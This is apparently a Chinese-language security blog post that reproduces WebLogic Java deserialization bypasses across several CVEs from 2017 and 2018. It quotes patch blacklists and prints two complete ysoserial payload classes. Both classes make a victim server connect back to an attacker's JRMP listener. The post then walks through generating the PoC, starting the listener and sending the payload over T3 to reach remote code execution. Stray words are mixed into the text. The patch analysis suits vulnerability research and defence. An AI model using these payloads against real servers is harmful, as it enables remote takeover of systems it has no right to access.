说一下复现CVE-2017-3248能够参考p牛的环境,p牛的环境CVE-2018-2628实际就是CVE-2017-3248,他漏洞编号这块写错了。
攻击流程就以下图,攻击者开启JRMPListener监听在1099端口,等待受害者连接,当受害者连接时,把gadgets返回给客户端:
html
CVE-2017-3248之后的漏洞都是利用了JRMP java远程方法协议,利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端创建tcp链接,获取RMI registry,最终将加载的内容利用readObject()进行解析,致使以前序列化的恶意代码执行。java
具体利用的时候用ysoserial的payload,用到Proxy代理。
复现2017-3248就看p牛的github,这里主要复现下CVE-2017-3248绕过。先看一下这漏洞的补丁,通常反序列操做防护resolveProxyClass和resolveClass方法重写,进行黑名单匹配。这里也就是咱们重点看的:git
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if (intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces);
补丁只是在resolveProxyClass方法将java.rmi.registry.Registry加入黑名单,没有将UnicastRef加入黑名单,因此出现如下俩种绕过:一、不使用代理机制就反序列化时就不会进入resolveProxyClass方法
二、找一个java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payloadgithub
先看第一种的payload,在ysoserial攻击修改以下代码把Proxy去掉,从新打jar包,利用方式和CVE-2017-3248同样,可以绕过resolveProxyClass执行命令:
在看一下这块的补丁,在resolveClass时就把UnicastRef类防住了。web
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
跟入checkLegacyBlacklistIfNeeded函数
跟到这里,看到若是反序列化的类是在黑名单中就抛出异常。
第二种绕过方式就是廖新喜的payload,可使用java.rmi.activation.Activator来替代java.rmi.registry.Registryspring
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] { Activator.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader()); PayloadRunner.run(JRMPClient2.class, args); } }
CVE-2018-2893的补丁将RemoteObjectInvocationHandler放入到了黑名单,而CVE-2018-2628的黑名单以下服务器
CVE-2018-2628补丁 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
CVE-2018-2893的补丁 private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler"};
执行的这里会被黑名单拦截。
还有一种绕过方式就是CVE-2018-2893利用WebLogic 内部类 weblogic.jms.common.StreamMessageImpl 可被序列化而且在反序列化时能够调用RMI的类,能够绕过WebLogic 的黑名单限制。
payload以下,打好的jar包在这里:dom
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Registry> { public Object streamMessageImpl(byte[] object) { StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
resolveClass处理到StreamMessageImpl时,
来到CVE-2016-0638的漏洞触发点,其中859行加入了过滤代码。当执行到865行时,跟进
java.rmi.server.RemoteObjectInvocationHandler被加入黑名单
CVE-2018-2893绕过参考https://xz.aliyun.com/t/2479#toc-2主要是绕过黑名单RemoteObjectInvocationHandler类,这个CVE编号就是:tcp
RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler
最后说下怎么找到的RMIConnectionImpl_Stub,实际上就是找RemoteObject类的子类。
CTRL+H找到这三个是RemoteObject的子类
RemoteStub找他的子类,最后找到RMIConnectionImpl_Stub类了
查看一下继承关系,下面这样的操做主要查找其父类比较方便。
因此 CVE-2018-3245的补丁就是将基类RemoteObject禁掉,而不是禁用其子类
payload参考:https://github.com/pyn3rd/CVE-2018-3245
gadgets经测试用Jdk7u21可以RCE。
我测试没有打CVE-2018-3245补丁,对RMIConnectionImpl_Stub没有处理致使绕过
看下完整利用过程:
生产poc
开启JRMP服务
经过T3协议写入payload
受害服务器链接JRMP服务,攻击者将Jdk7u21的gadgets发送给受害服务器,致使RCE。
函数
参考连接:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
https://xz.aliyun.com/t/2479#toc-0
http://www.4hou.com/vulnerable/12874.html
https://paper.seebug.org/584/